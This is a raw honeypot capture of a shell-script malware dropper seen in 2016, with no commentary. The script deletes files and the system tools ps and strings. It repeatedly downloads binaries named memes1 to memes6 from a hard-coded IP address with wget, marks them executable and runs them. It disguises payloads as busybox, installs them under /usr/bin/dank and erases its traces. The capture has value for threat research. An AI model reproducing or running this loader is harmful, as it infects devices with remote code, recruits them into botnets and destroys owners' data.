Honeypot Payload! Seen on: 2016-05-15 11:50

#!/bin/sh
rm -f *
busybox rm -rf /tmp/m*
busybox rm -rf /root/m*
busybox rm -rf /usr/bin/strings
busybox rm -rf /usr/bin/ps
busybox wget http://91.134.169.86/memes1; busybox chmod +x memes1; ./memes1; busybox rm -f memes1*
rm -f *
busybox wget http://91.134.169.86/memes2; busybox chmod +x memes2; ./memes2; busybox rm -f memes2*
rm -f *
busybox wget http://91.134.169.86/memes3; busybox chmod +x memes3; ./memes3; busybox rm -f memes3*
rm -f *
busybox wget http://91.134.169.86/memes4; busybox chmod +x memes4; ./memes4; busybox rm -f memes4*
rm -f *
busybox wget http://91.134.169.86/memes5; busybox chmod +x memes5; ./memes5; busybox rm -f memes5*
rm -f *
busybox wget http://91.134.169.86/memes6; busybox chmod +x memes6; ./memes6; busybox rm -f memes6*
rm -f *

busybox wget http://91.134.169.86/memes1; busybox cp /bin/busybox ./; busybox cat memes1 > busybox; busybox rm -f memes1; busybox cp busybox memes1; busybox rm -f busybox; ./memes1; busybox rm -f memes1*
rm -f *
busybox wget http://91.134.169.86/memes2; busybox cp /bin/busybox ./; busybox cat memes2 > busybox; busybox rm -f memes2; busybox cp busybox memes2; busybox rm -f busybox; ./memes2; busybox rm -f memes2*
rm -f *
busybox wget http://91.134.169.86/memes3; busybox cp /bin/busybox ./; busybox cat memes3 > busybox; busybox rm -f memes3; busybox cp busybox memes3; busybox rm -f busybox; ./memes3; busybox rm -f memes3*
rm -f *
busybox wget http://91.134.169.86/memes4; busybox cp /bin/busybox ./; busybox cat memes4 > busybox; busybox rm -f memes4; busybox cp busybox memes4; busybox rm -f busybox; ./memes4; busybox rm -f memes4*
rm -f *
busybox wget http://91.134.169.86/memes5; busybox cp /bin/busybox ./; busybox cat memes5 > busybox; busybox rm -f memes5; busybox cp busybox memes5; busybox rm -f busybox; ./memes5; busybox rm -f memes5*
rm -f *
busybox wget http://91.134.169.86/memes6; busybox cp /bin/busybox ./; busybox cat memes6 > busybox; busybox rm -f memes6; busybox cp busybox memes6; busybox rm -f busybox; ./memes6; busybox rm -f memes6*
rm -f *

wget http://91.134.169.86/memes1 && mkdir -p /usr/bin/dank && mv memes1* /usr/bin/dank && chmod +x memes1 && ./memes1 && rm -rf memes1*
wget http://91.134.169.86/memes2 && mkdir -p /usr/bin/dank && mv memes2* /usr/bin/dank && chmod +x memes2 && ./memes2 && rm -rf memes2*
wget http://91.134.169.86/memes3 && mkdir -p /usr/bin/dank && mv memes3* /usr/bin/dank && chmod +x memes3 && ./memes3 && rm -rf memes3*
wget http://91.134.169.86/memes4 && mkdir -p /usr/bin/dank && mv memes4* /usr/bin/dank && chmod +x memes4 && ./memes4 && rm -rf memes4*
wget http://91.134.169.86/memes5 && mkdir -p /usr/bin/dank && mv memes5* /usr/bin/dank && chmod +x memes5 && ./memes5 && rm -rf memes5*
wget http://91.134.169.86/memes6 && mkdir -p /usr/bin/dank && mv memes6* /usr/bin/dank && chmod +x memes6 && ./memes6 && rm -rf memes6*
rm -rf /usr/bin/dank/*
rm -rf /usr/bin/dank*

exit